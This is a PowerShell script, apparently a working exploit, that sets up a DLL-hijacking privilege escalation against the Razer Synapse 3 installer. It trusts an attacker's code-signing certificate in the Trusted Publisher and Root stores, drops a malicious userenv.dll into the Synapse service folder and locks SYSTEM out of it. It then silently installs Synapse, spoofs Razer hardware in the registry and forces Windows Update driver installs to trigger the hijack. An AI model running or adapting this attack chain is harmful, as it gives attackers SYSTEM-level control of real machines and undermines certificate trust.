broshell

###------------------IMPORTING THE CERTIFICATE TO TRUSTED ZONE--------------------------------------
# Define the path to your .pfx file
$pfxPath = "C:\Temp\code_signing_cert.pfx"

# Import the certificate without a password into the current user's Trusted Root
$pfx = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
$pfx.Import($pfxPath, $null, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet)

# Add the certificate to the Trusted Publishers store
$store = New-Object System.Security.Cryptography.X509Certificates.X509Store "TrustedPublisher", "CurrentUser"
$store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$store.Add($pfx)
$store.Close()

# (Optional) adding it to the Root store to fully trust it
$rootStore = New-Object System.Security.Cryptography.X509Certificates.X509Store "Root", "CurrentUser"
$rootStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$rootStore.Add($pfx)
$rootStore.Close()




#------------------Create the vulnerable directory--------------------
# Define the directory path
$directoryPath = 'C:\ProgramData\Razer\Synapse3\Service'
New-Item -ItemType Directory -Path $directoryPath -Force

#Moving the dll file to the vulnerable direction. As an alternative solution, it's possible to download the file from a hosting server.
Move-Item -Path "C:\Temp\userenv.dll" -Destination "C:\ProgramData\Razer\Synapse3\Service" -Force


# Define the path to the directory
$directoryPath = "C:\ProgramData\Razer\Synapse3\Service"

# Verify that the directory exists and block SYSTEM access
if (Test-Path -Path $directoryPath) {
    # Create a new Deny access rule for the SYSTEM account
    $denyRule = New-Object System.Security.AccessControl.FileSystemAccessRule("SYSTEM", "FullControl", "Deny")

    # Directly modify the ACL to block access for SYSTEM
    $acl = (Get-Item $directoryPath).GetAccessControl('Access')
    $acl.AddAccessRule($denyRule)
    (Get-Item $directoryPath).SetAccessControl($acl)
}



# Define the path to the installer, as an alternative solution, it can be downloaded from a hosting server
$installerPath = "C:\Temp\Razer_Synapse_3.6.exe"
#Installing the Razer Synapse
Start-Process -FilePath $installerPath -ArgumentList "/silent", "/quiet", "/norestart" -Wait



#------------------------------------EXtra effort which didn't trigger the driver installation-----------------------------
#Emulate the hardware by setting the necessary registry keys
$vendorID = "1532"
$deviceID = "008A"
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Enum\USB\VID_$vendorID&PID_$deviceID"

# Create the registry structure to emulate the Razer hardware
New-Item -Path $regPath -Force | Out-Null
New-ItemProperty -Path $regPath -Name "DeviceDesc" -Value "Razer Virtual Mouse" -PropertyType String -Force | Out-Null
New-ItemProperty -Path $regPath -Name "HardwareID" -Value "USB\VID_$vendorID&PID_$deviceID" -PropertyType MultiString -Force | Out-Null


#_---------------------TO trigger the windows update----------------------------------------
# Trigger Windows Update to check for new drivers
$updateSession = New-Object -ComObject Microsoft.Update.Session
$updateSearcher = $updateSession.CreateUpdateSearcher()

# Search for driver updates that are not yet installed
$searchResult = $updateSearcher.Search("IsInstalled=0 and Type='Driver'")

# Check if any driver updates are found
if ($searchResult.Updates.Count -gt 0) {
    # Prepare to install all found driver updates
    $updatesToInstall = New-Object -ComObject Microsoft.Update.UpdateColl
    foreach ($update in $searchResult.Updates) {
        $updatesToInstall.Add($update) | Out-Null
    }

    # Install the updates
    $installer = $updateSession.CreateUpdateInstaller()
    $installer.Updates = $updatesToInstall
    $installationResult = $installer.Install()
}